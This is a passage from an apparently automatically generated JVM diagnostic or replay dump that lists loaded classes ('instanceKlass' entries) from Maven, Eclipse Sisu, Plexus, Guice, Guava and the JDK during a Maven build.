org/apache/maven/lifecycle/internal/LifecyclePluginResolver\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleModuleBuilder\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleExecutionPlanCalculator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDebugLogger\ninstanceKlass org/apache/maven/lifecycle/internal/ExecutionEventCatapult\ninstanceKlass org/apache/maven/lifecycle/internal/BuildListCalculator\ninstanceKlass org/apache/maven/lifecycle/MojoExecutionConfigurator\ninstanceKlass org/apache/maven/lifecycle/LifecycleMappingDelegate\ninstanceKlass org/apache/maven/lifecycle/LifecycleExecutor\ninstanceKlass org/apache/maven/lifecycle/LifeCyclePluginAnalyzer\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycles\ninstanceKlass org/apache/maven/graph/GraphBuilder\ninstanceKlass org/apache/maven/eventspy/internal/EventSpyDispatcher\ninstanceKlass org/apache/maven/configuration/BeanConfigurator\ninstanceKlass org/apache/maven/bridge/MavenRepositorySystem\ninstanceKlass org/apache/maven/artifact/resolver/ResolutionErrorHandler\ninstanceKlass org/apache/maven/artifact/repository/metadata/io/MetadataReader\ninstanceKlass org/apache/maven/artifact/metadata/ArtifactMetadataSource\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadataSource\ninstanceKlass org/apache/maven/artifact/handler/manager/ArtifactHandlerManager\ninstanceKlass org/apache/maven/artifact/factory/ArtifactFactory\ninstanceKlass org/apache/maven/ProjectDependenciesResolver\ninstanceKlass org/apache/maven/Maven\ninstanceKlass org/apache/maven/artifact/handler/ArtifactHandler\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/apache/maven/lifecycle/Lifecycle\ninstanceKlass org/eclipse/sisu/space/CloningClassSpace$1\ninstanceKlass org/apache/maven/lifecycle/mapping/LifecycleMapping\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolver\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolutionPolicy\ninstanceKlass org/eclipse/sisu/plexus/ConfigurationImpl\ninstanceKlass org/apache/maven/repository/metadata/ClasspathTransformation\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/ArtifactTransformationManager\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/ArtifactTransformation\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolverFactory\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolver\ninstanceKlass org/apache/maven/repository/legacy/repository/ArtifactRepositoryFactory\ninstanceKlass org/apache/maven/repository/legacy/UpdateCheckManager\ninstanceKlass org/apache/maven/repository/RepositorySystem\ninstanceKlass org/apache/maven/repository/MirrorSelector\ninstanceKlass org/apache/maven/project/validation/ModelValidator\ninstanceKlass org/apache/maven/project/path/PathTranslator\ninstanceKlass org/apache/maven/project/interpolation/ModelInterpolator\ninstanceKlass org/apache/maven/project/inheritance/ModelInheritanceAssembler\ninstanceKlass org/apache/maven/project/MavenProjectBuilder\ninstanceKlass org/apache/maven/profiles/MavenProfilesBuilder\ninstanceKlass org/apache/maven/execution/RuntimeInformation\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolver\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactCollector\ninstanceKlass org/apache/maven/repository/legacy/resolver/LegacyArtifactCollector\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataManager\ninstanceKlass org/apache/maven/artifact/repository/layout/ArtifactRepositoryLayout\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepositoryFactory\ninstanceKlass org/apache/maven/artifact/manager/WagonManager\ninstanceKlass org/apache/maven/repository/legacy/WagonManager\ninstanceKlass org/apache/maven/artifact/installer/ArtifactInstaller\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlMetadata\ninstanceKlass org/eclipse/sisu/plexus/Roles\ninstanceKlass org/apache/maven/artifact/deployer/ArtifactDeployer\ninstanceKlass org/eclipse/sisu/plexus/Hints\ninstanceKlass org/eclipse/sisu/space/AbstractDeferredClass\ninstanceKlass org/eclipse/sisu/plexus/RequirementImpl\ninstanceKlass org/codehaus/plexus/component/annotations/Requirement\ninstanceKlass org/eclipse/sisu/space/Streams\ninstanceKlass org/eclipse/sisu/plexus/ComponentImpl\ninstanceKlass org/codehaus/plexus/component/annotations/Component\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeRegistry\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlScanner\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeBinder\ninstanceKlass com/google/inject/spi/InjectionRequest\ninstanceKlass org/eclipse/sisu/bean/BeanProperty\ninstanceKlass com/google/common/collect/ObjectArrays\ninstanceKlass com/google/inject/internal/Nullability\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinUnsupported$$Lambda$65\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinUnsupported\ninstanceKlass com/google/inject/internal/KotlinSupport$KotlinSupportHolder\ninstanceKlass com/google/inject/internal/KotlinSupportInterface\ninstanceKlass com/google/inject/internal/KotlinSupport\ninstanceKlass com/google/inject/spi/InjectionPoint$OverrideIndex\ninstanceKlass org/eclipse/sisu/inject/RankedBindings\ninstanceKlass org/eclipse/sisu/Mediator\ninstanceKlass sun/reflect/generics/tree/TypeVariableSignature\ninstanceKlass com/google/inject/Inject\ninstanceKlass javax/inject/Inject\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$64\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$63\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$62\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$61\ninstanceKlass java/lang/reflect/WildcardType\ninstanceKlass java/lang/reflect/TypeVariable\ninstanceKlass com/google/inject/spi/InjectionPoint$InjectableMembers\ninstanceKlass com/google/inject/spi/InjectionPoint$InjectableMember\ninstanceKlass com/google/inject/spi/InjectionPoint\ninstanceKlass java/lang/reflect/ParameterizedType\ninstanceKlass com/google/inject/internal/MoreTypes$GenericArrayTypeImpl\ninstanceKlass com/google/inject/internal/MoreTypes$CompositeType\ninstanceKlass com/google/inject/Key$AnnotationTypeStrategy\ninstanceKlass com/google/common/cache/LocalCache$StrongValueReference\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Failure\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Cancellation\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$SetFuture\ninstanceKlass com/google/common/util/concurrent/Uninterruptibles\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Waiter\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Listener\ninstanceKlass jdk/internal/reflect/UnsafeFieldAccessorFactory\ninstanceKlass java/lang/reflect/AccessibleObject$$Lambda$60\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$UnsafeAtomicHelper$1\ninstanceKlass sun/misc/Unsafe\ninstanceKlass com/google/common/util/concurrent/LazyLogger\ninstanceKlass java/util/concurrent/Executor\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$AtomicHelper\ninstanceKlass com/google/common/util/concurrent/internal/InternalFutureFailureAccess\ninstanceKlass com/google/common/util/concurrent/AbstractFuture$Trusted\ninstanceKlass com/google/common/util/concurrent/ListenableFuture\ninstanceKlass sun/reflect/annotation/AnnotationParser$$Lambda$59\ninstanceKlass java/lang/annotation/Documented\ninstanceKlass java/lang/annotation/Target\ninstanceKlass javax/inject/Named\ninstanceKlass javax/inject/Qualifier\ninstanceKlass com/google/inject/BindingAnnotation\ninstanceKlass javax/inject/Scope\ninstanceKlass com/google/inject/ScopeAnnotation\ninstanceKlass com/google/inject/internal/Annotations$AnnotationChecker\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder$1\ninstanceKlass java/lang/reflect/ProxyGenerator$ExceptionTableEntry\ninstanceKlass java/lang/reflect/ProxyGenerator$PrimitiveTypeInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$FieldInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$ConstantPool$Entry\ninstanceKlass java/lang/reflect/ProxyGenerator$MethodInfo\ninstanceKlass java/lang/reflect/ProxyGenerator$ProxyMethod\ninstanceKlass java/lang/reflect/ProxyGenerator$ConstantPool\ninstanceKlass java/lang/reflect/ProxyGenerator\ninstanceKlass java/lang/reflect/Proxy$$Lambda$58\ninstanceKlass java/lang/PublicMethods\ninstanceKlass java/util/Collections$1\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder\ninstanceKlass java/lang/reflect/Proxy$$Lambda$57\ninstanceKlass java/lang/reflect/Proxy\ninstanceKlass sun/reflect/annotation/AnnotationInvocationHandler\ninstanceKlass sun/reflect/annotation/AnnotationParser$1\ninstanceKlass sun/reflect/annotation/ExceptionProxy\ninstanceKlass java/lang/annotation/Inherited\ninstanceKlass java/lang/annotation/Retention\ninstanceKlass sun/reflect/annotation/AnnotationType$1\ninstanceKlass sun/reflect/annotation/AnnotationType\ninstanceKlass java/lang/reflect/GenericArrayType\ninstanceKlass sun/reflect/generics/visitor/Reifier\ninstanceKlass sun/reflect/generics/visitor/TypeTreeVisitor\ninstanceKlass sun/reflect/generics/factory/CoreReflectionFactory\ninstanceKlass sun/reflect/generics/factory/GenericsFactory\ninstanceKlass sun/reflect/generics/scope/AbstractScope\ninstanceKlass sun/reflect/generics/scope/Scope\ninstanceKlass com/google/inject/internal/Annotations$TestAnnotation\ninstanceKlass com/google/inject/internal/Annotations$AnnotationToStringConfig\ninstanceKlass com/google/common/base/Joiner$MapJoiner\ninstanceKlass com/google/common/base/Joiner\ninstanceKlass java/lang/reflect/InvocationHandler\ninstanceKlass com/google/inject/internal/Annotations\ninstanceKlass org/eclipse/sisu/Parameters\ninstanceKlass org/eclipse/sisu/wire/ParameterKeys\ninstanceKlass com/google/inject/internal/util/StackTraceElements$InMemoryStackTraceElement\ninstanceKlass com/google/inject/internal/util/StackTraceElements\ninstanceKlass org/eclipse/sisu/wire/TypeConverterCache\ninstanceKlass com/google/inject/internal/Scoping\ninstanceKlass com/google/inject/internal/InternalFactory\ninstanceKlass java/lang/StackTraceElement$HashedModules\ninstanceKlass com/google/inject/internal/InternalFlags$1\ninstanceKlass com/google/inject/internal/InternalFlags\ninstanceKlass com/google/inject/spi/ProviderKeyBinding\ninstanceKlass com/google/inject/spi/ProviderInstanceBinding\ninstanceKlass com/google/inject/spi/InstanceBinding\ninstanceKlass com/google/inject/internal/DelayedInitialize\ninstanceKlass com/google/inject/spi/ConstructorBinding\ninstanceKlass com/google/inject/spi/HasDependencies\ninstanceKlass com/google/inject/spi/LinkedKeyBinding\ninstanceKlass com/google/inject/spi/UntargettedBinding\ninstanceKlass com/google/inject/internal/BindingImpl\ninstanceKlass com/google/inject/Key$AnnotationStrategy\ninstanceKlass org/eclipse/sisu/wire/ElementAnalyzer$1\ninstanceKlass com/google/inject/util/Modules$EmptyModule\ninstanceKlass com/google/inject/util/Modules$OverriddenModuleBuilder\ninstanceKlass com/google/inject/util/Modules\ninstanceKlass java/util/stream/Nodes$ArrayNode\ninstanceKlass java/util/stream/Node$Builder\ninstanceKlass java/util/stream/Node$OfDouble\ninstanceKlass java/util/stream/Node$OfLong\ninstanceKlass java/util/stream/Node$OfInt\ninstanceKlass java/util/stream/Node$OfPrimitive\ninstanceKlass java/util/stream/Nodes$EmptyNode\ninstanceKlass java/util/stream/Node\ninstanceKlass java/util/stream/Nodes\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$56\ninstanceKlass java/util/function/IntFunction\ninstanceKlass java/util/stream/SortedOps\ninstanceKlass com/google/common/collect/Ordering\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$55\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$54\ninstanceKlass java/util/Comparator$$Lambda$53\ninstanceKlass java/util/Comparator$$Lambda$52\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$51\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$50\ninstanceKlass java/util/Comparator$$Lambda$49\ninstanceKlass com/google/inject/internal/DeclaredMembers$$Lambda$48\ninstanceKlass com/google/inject/internal/DeclaredMembers\ninstanceKlass com/google/common/base/ExtraObjectsMethodsForWeb\ninstanceKlass com/google/common/collect/ImmutableMap$Builder\ninstanceKlass com/google/inject/internal/MoreTypes\ninstanceKlass com/google/inject/multibindings/ProvidesIntoOptional\ninstanceKlass com/google/inject/multibindings/ProvidesIntoMap\ninstanceKlass com/google/inject/multibindings/ProvidesIntoSet\ninstanceKlass com/google/inject/Provides\ninstanceKlass javax/inject/Singleton\ninstanceKlass com/google/inject/spi/ElementSource\ninstanceKlass com/google/inject/spi/ScopeBinding\ninstanceKlass com/google/inject/Scopes$2\ninstanceKlass com/google/inject/Scopes$1\ninstanceKlass com/google/inject/internal/SingletonScope\ninstanceKlass com/google/inject/Scopes\ninstanceKlass com/google/inject/Singleton\ninstanceKlass com/google/inject/spi/Elements$ModuleInfo\ninstanceKlass com/google/inject/PrivateModule\ninstanceKlass java/util/stream/Collectors$$Lambda$47\ninstanceKlass java/util/stream/Collectors$$Lambda$46\ninstanceKlass java/util/stream/Collectors$$Lambda$45\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction$$Lambda$44\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$43\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$42\ninstanceKlass java/util/stream/Streams$2\ninstanceKlass java/util/stream/Streams$ConcatSpliterator\ninstanceKlass sun/reflect/annotation/AnnotatedTypeFactory$AnnotatedTypeBaseImpl\ninstanceKlass java/lang/reflect/AnnotatedType\ninstanceKlass sun/reflect/annotation/AnnotatedTypeFactory\ninstanceKlass sun/reflect/annotation/TypeAnnotation$LocationInfo$Location\ninstanceKlass sun/reflect/annotation/TypeAnnotation$LocationInfo\ninstanceKlass sun/reflect/generics/tree/ClassSignature\ninstanceKlass sun/reflect/generics/tree/Signature\ninstanceKlass sun/reflect/generics/tree/ClassTypeSignature\ninstanceKlass sun/reflect/generics/tree/SimpleClassTypeSignature\ninstanceKlass sun/reflect/generics/tree/FieldTypeSignature\ninstanceKlass sun/reflect/generics/tree/BaseType\ninstanceKlass sun/reflect/generics/tree/TypeSignature\ninstanceKlass sun/reflect/generics/tree/ReturnType\ninstanceKlass sun/reflect/generics/tree/TypeArgument\ninstanceKlass sun/reflect/generics/tree/FormalTypeParameter\ninstanceKlass sun/reflect/generics/tree/TypeTree\ninstanceKlass sun/reflect/generics/tree/Tree\ninstanceKlass sun/reflect/generics/parser/SignatureParser\ninstanceKlass sun/reflect/generics/repository/AbstractRepository\ninstanceKlass sun/reflect/annotation/TypeAnnotation\ninstanceKlass sun/reflect/annotation/TypeAnnotationParser\ninstanceKlass java/lang/Class$AnnotationData\ninstanceKlass com/google/inject/RestrictedBindingSource\ninstanceKlass com/google/inject/spi/BindingSourceRestriction\ninstanceKlass com/google/inject/spi/ModuleSource\ninstanceKlass com/google/inject/internal/ProviderMethodsModule\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction$PermitMapImpl\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMap\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$PermitMapConstruction\ninstanceKlass com/google/common/collect/Hashing\ninstanceKlass com/google/common/math/IntMath$1\ninstanceKlass com/google/common/math/MathPreconditions\ninstanceKlass com/google/common/math/IntMath\ninstanceKlass com/google/inject/internal/AbstractBindingBuilder\ninstanceKlass com/google/inject/binder/ConstantBindingBuilder\ninstanceKlass com/google/inject/binder/AnnotatedElementBuilder\ninstanceKlass com/google/inject/spi/Elements$RecordingBinder\ninstanceKlass com/google/inject/Binding\ninstanceKlass com/google/inject/spi/DefaultBindingTargetVisitor\ninstanceKlass com/google/inject/spi/BindingTargetVisitor\ninstanceKlass com/google/inject/spi/Elements\ninstanceKlass com/google/inject/internal/InjectorShell$RootModule\ninstanceKlass com/google/common/collect/ListMultimap\ninstanceKlass com/google/inject/internal/InjectorBindingData\ninstanceKlass java/util/concurrent/atomic/AtomicReferenceArray\ninstanceKlass java/util/concurrent/Future\ninstanceKlass com/google/common/cache/LocalCache$LoadingValueReference\ninstanceKlass java/util/concurrent/ConcurrentLinkedQueue$Node\ninstanceKlass com/google/common/cache/Weigher\ninstanceKlass com/google/common/base/Predicate\ninstanceKlass com/google/common/base/Equivalence\ninstanceKlass java/util/function/BiPredicate\ninstanceKlass com/google/common/base/MoreObjects\ninstanceKlass com/google/common/cache/LocalCache$1\ninstanceKlass com/google/common/cache/ReferenceEntry\ninstanceKlass com/google/common/cache/CacheLoader\ninstanceKlass com/google/common/cache/LocalCache$LocalManualCache\ninstanceKlass com/google/inject/internal/WeakKeySet$$Lambda$41\ninstanceKlass com/google/common/cache/RemovalListener\ninstanceKlass java/util/AbstractMap$SimpleImmutableEntry\ninstanceKlass com/google/common/cache/LocalCache$ValueReference\ninstanceKlass com/google/common/cache/CacheBuilder$2\ninstanceKlass com/google/common/cache/CacheStats\ninstanceKlass com/google/common/base/Suppliers$SupplierOfInstance\ninstanceKlass com/google/common/base/Suppliers\ninstanceKlass com/google/common/cache/CacheBuilder$1\ninstanceKlass com/google/common/cache/AbstractCache$StatsCounter\ninstanceKlass com/google/common/cache/LoadingCache\ninstanceKlass com/google/common/cache/Cache\ninstanceKlass com/google/common/base/Supplier\ninstanceKlass com/google/common/cache/CacheBuilder\ninstanceKlass com/google/inject/internal/WeakKeySet\ninstanceKlass com/google/common/collect/Sets\ninstanceKlass com/google/inject/internal/InjectorJitBindingData\ninstanceKlass com/google/inject/internal/ProcessedBindingData\ninstanceKlass com/google/inject/spi/DefaultElementVisitor\ninstanceKlass com/google/inject/internal/InjectorShell$Builder\ninstanceKlass com/google/common/collect/Lists\ninstanceKlass com/google/common/collect/AbstractMapEntry\ninstanceKlass com/google/common/collect/LinkedHashMultimap$ValueSetLink\ninstanceKlass com/google/common/collect/CollectPreconditions\ninstanceKlass java/lang/StrictMath\ninstanceKlass com/google/common/collect/Platform\ninstanceKlass com/google/common/collect/Multiset\ninstanceKlass com/google/common/collect/AbstractMultimap\ninstanceKlass com/google/common/collect/SetMultimap\ninstanceKlass com/google/common/collect/ImmutableMap\ninstanceKlass com/google/common/collect/Maps$EntryTransformer\ninstanceKlass com/google/common/base/Converter\ninstanceKlass com/google/common/base/Function\ninstanceKlass com/google/common/collect/BiMap\ninstanceKlass com/google/common/collect/SortedMapDifference\ninstanceKlass com/google/common/collect/MapDifference\ninstanceKlass com/google/common/collect/Maps\ninstanceKlass com/google/inject/internal/CycleDetectingLock\ninstanceKlass com/google/common/collect/Multimap\ninstanceKlass com/google/inject/internal/CycleDetectingLock$CycleDetectingLockFactory\ninstanceKlass com/google/inject/internal/Initializable\ninstanceKlass com/google/inject/internal/Initializer\ninstanceKlass com/google/common/collect/PeekingIterator\ninstanceKlass com/google/common/collect/UnmodifiableIterator\ninstanceKlass com/google/common/collect/Iterators\ninstanceKlass com/google/common/collect/ImmutableCollection$Builder\ninstanceKlass com/google/common/collect/ImmutableSet$SetBuilderImpl\ninstanceKlass com/google/inject/internal/util/SourceProvider\ninstanceKlass com/google/inject/spi/ErrorDetail\ninstanceKlass com/google/inject/internal/Errors\ninstanceKlass com/google/common/base/Preconditions\ninstanceKlass java/time/Duration\ninstanceKlass java/time/temporal/TemporalAmount\ninstanceKlass java/time/temporal/TemporalUnit\ninstanceKlass java/util/concurrent/TimeUnit$1\ninstanceKlass jdk/internal/logger/DefaultLoggerFinder$1\ninstanceKlass java/util/logging/Logger$SystemLoggerHelper$1\ninstanceKlass java/util/logging/Logger$SystemLoggerHelper\ninstanceKlass java/util/logging/LogManager$4\ninstanceKlass jdk/internal/logger/BootstrapLogger$BootstrapExecutors\ninstanceKlass jdk/internal/logger/BootstrapLogger$RedirectedLoggers\ninstanceKlass java/lang/ModuleLayer$$Lambda$40\ninstanceKlass java/lang/WeakPairMap$Pair$Lookup\ninstanceKlass java/lang/WeakPairMap$Pair\ninstanceKlass java/lang/WeakPairMap\ninstanceKlass java/lang/Module$ReflectionData\ninstanceKlass java/util/Spliterators$1Adapter\ninstanceKlass java/util/Spliterators$ArraySpliterator\ninstanceKlass java/util/Spliterator$OfDouble\ninstanceKlass java/util/Spliterator$OfLong\ninstanceKlass java/util/Spliterator$OfInt\ninstanceKlass java/util/Spliterator$OfPrimitive\ninstanceKlass java/util/Spliterators$EmptySpliterator\ninstanceKlass java/util/Spliterators\ninstanceKlass jdk/internal/logger/BootstrapLogger$DetectBackend$1\ninstanceKlass jdk/internal/logger/BootstrapLogger$DetectBackend\ninstanceKlass jdk/internal/logger/BootstrapLogger\ninstanceKlass sun/util/logging/PlatformLogger$ConfigurableBridge\ninstanceKlass sun/util/logging/PlatformLogger$Bridge\ninstanceKlass java/lang/System$Logger\ninstanceKlass java/util/stream/Streams\ninstanceKlass java/util/stream/Streams$AbstractStreamBuilderImpl\ninstanceKlass java/util/stream/Stream$Builder\ninstanceKlass java/util/stream/Sink$ChainedReference\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$39\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$38\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$37\ninstanceKlass java/util/stream/FindOps$FindSink$OfRef$$Lambda$36\ninstanceKlass java/util/stream/FindOps$FindOp\ninstanceKlass java/util/stream/FindOps$FindSink\ninstanceKlass java/util/stream/FindOps\ninstanceKlass java/util/logging/Level$KnownLevel$$Lambda$35\ninstanceKlass java/util/ArrayList$ArrayListSpliterator\ninstanceKlass java/util/logging/Level$$Lambda$34\ninstanceKlass java/util/Hashtable$Enumerator\ninstanceKlass java/util/logging/LogManager$LoggerContext$1\ninstanceKlass java/util/logging/LogManager$VisitedLoggers\ninstanceKlass java/util/function/Predicate\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass sun/invoke/util/ValueConversions$WrapperCache\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/MethodHandles$1\ninstanceKlass java/lang/Byte$ByteCache\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/ClassValue$Version\ninstanceKlass java/lang/ClassValue$Identity\ninstanceKlass java/lang/ClassValue\ninstanceKlass java/lang/invoke/StringConcatFactory$Stringifiers\ninstanceKlass java/lang/StringConcatHelper\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$3\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$2\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy$1\ninstanceKlass java/lang/invoke/StringConcatFactory$MethodHandleInlineCopyStrategy\ninstanceKlass java/lang/invoke/StringConcatFactory$RecipeElement\ninstanceKlass java/lang/invoke/StringConcatFactory$Recipe\ninstanceKlass java/lang/invoke/StringConcatFactory$1\ninstanceKlass java/lang/invoke/StringConcatFactory\ninstanceKlass java/util/logging/LogManager$2\ninstanceKlass java/lang/System$LoggerFinder\ninstanceKlass sun/security/util/SecurityConstants\ninstanceKlass java/security/AccessController$1\ninstanceKlass java/util/logging/LogManager$LoggingProviderAccess\ninstanceKlass sun/util/logging/internal/LoggingProviderImpl$LogManagerAccess\ninstanceKlass java/util/Collections$SynchronizedMap\ninstanceKlass java/util/logging/LogManager$LogNode\ninstanceKlass java/util/logging/LogManager$LoggerContext\ninstanceKlass java/util/logging/LogManager$1\ninstanceKlass java/util/logging/LogManager\ninstanceKlass java/util/logging/Logger$ConfigurationData\ninstanceKlass java/util/logging/Logger$LoggerBundle\ninstanceKlass java/util/logging/Level\ninstanceKlass java/util/logging/Handler\ninstanceKlass java/util/logging/Logger\ninstanceKlass com/google/common/base/Ticker\ninstanceKlass com/google/common/base/Stopwatch\ninstanceKlass com/google/inject/internal/util/ContinuousStopwatch\ninstanceKlass com/google/inject/Injector\ninstanceKlass com/google/inject/internal/InternalInjectorCreator\ninstanceKlass com/google/inject/Guice\ninstanceKlass org/eclipse/sisu/wire/Wiring\ninstanceKlass org/eclipse/sisu/wire/WireModule$Strategy$1\ninstanceKlass org/eclipse/sisu/wire/WireModule$Strategy\ninstanceKlass org/eclipse/sisu/wire/AbstractTypeConverter\ninstanceKlass com/google/inject/spi/ElementVisitor\ninstanceKlass org/eclipse/sisu/wire/WireModule\ninstanceKlass org/eclipse/sisu/bean/BeanBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusBindingModule\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$BootModule\ninstanceKlass org/codehaus/plexus/component/annotations/Configuration\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedMetadata\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanMetadata\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule$PlexusAnnotatedBeanSource\ninstanceKlass org/eclipse/sisu/space/SpaceModule$2\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy$2\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy$1\ninstanceKlass org/eclipse/sisu/space/DefaultClassFinder\ninstanceKlass org/eclipse/sisu/space/asm/ClassVisitor\ninstanceKlass org/eclipse/sisu/space/SpaceScanner\ninstanceKlass org/eclipse/sisu/space/IndexedClassFinder\ninstanceKlass org/eclipse/sisu/space/ClassFinder\ninstanceKlass org/eclipse/sisu/space/SpaceModule\ninstanceKlass org/eclipse/sisu/space/SpaceVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeListener\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeListener\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule$1\ninstanceKlass org/eclipse/sisu/space/SpaceModule$Strategy\ninstanceKlass org/eclipse/sisu/plexus/PlexusAnnotatedBeanModule\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanSource\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanModule\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanModule\ninstanceKlass org/eclipse/sisu/space/URLClassSpace\ninstanceKlass org/codehaus/plexus/DefaultPlexusContainer$SLF4JLoggerFactoryProvider\ninstanceKlass com/google/inject/util/Providers$ConstantProvider\ninstanceKlass com/google/inject/util/Providers\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Disposable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Startable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Initializable\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/Contextualizable\ninstanceKlass org/codehaus/plexus/logging/LogEnabled\ninstanceKlass org/eclipse/sisu/bean/PropertyBinding\ninstanceKlass javax/annotation/PreDestroy\ninstanceKlass javax/annotation/PostConstruct\ninstanceKlass org/eclipse/sisu/bean/LifecycleBuilder\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$1\ninstanceKlass com/google/inject/spi/DefaultBindingScopingVisitor\ninstanceKlass com/google/inject/spi/BindingScopingVisitor\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$CycleActivator\ninstanceKlass com/google/inject/binder/AnnotatedConstantBindingBuilder\ninstanceKlass com/google/inject/spi/TypeListener\ninstanceKlass com/google/inject/spi/Message\ninstanceKlass com/google/inject/spi/Element\ninstanceKlass com/google/inject/MembersInjector\ninstanceKlass org/aopalliance/intercept/MethodInterceptor\ninstanceKlass org/aopalliance/intercept/Interceptor\ninstanceKlass org/aopalliance/aop/Advice\ninstanceKlass com/google/inject/Scope\ninstanceKlass com/google/inject/PrivateBinder\ninstanceKlass com/google/inject/spi/ModuleAnnotatedMethodScanner\ninstanceKlass com/google/inject/spi/Dependency\ninstanceKlass com/google/inject/Key\ninstanceKlass com/google/inject/binder/AnnotatedBindingBuilder\ninstanceKlass com/google/inject/binder/LinkedBindingBuilder\ninstanceKlass com/google/inject/binder/ScopedBindingBuilder\ninstanceKlass com/google/inject/TypeLiteral\ninstanceKlass com/google/inject/spi/ProvisionListener\ninstanceKlass com/google/inject/Binder\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler\ninstanceKlass org/eclipse/sisu/plexus/DefaultPlexusBeanLocator\ninstanceKlass org/eclipse/sisu/plexus/RealmManager\ninstanceKlass org/codehaus/plexus/context/ContextMapAdapter\ninstanceKlass org/codehaus/plexus/context/DefaultContext\ninstanceKlass org/codehaus/plexus/logging/AbstractLogger\ninstanceKlass org/codehaus/plexus/logging/AbstractLoggerManager\ninstanceKlass java/util/Date\ninstanceKlass java/text/DigitList\ninstanceKlass java/text/FieldPosition\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$33\ninstanceKlass java/text/DecimalFormatSymbols\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$32\ninstanceKlass sun/util/locale/provider/JRELocaleProviderAdapter$$Lambda$31\ninstanceKlass java/text/DateFormatSymbols\ninstanceKlass 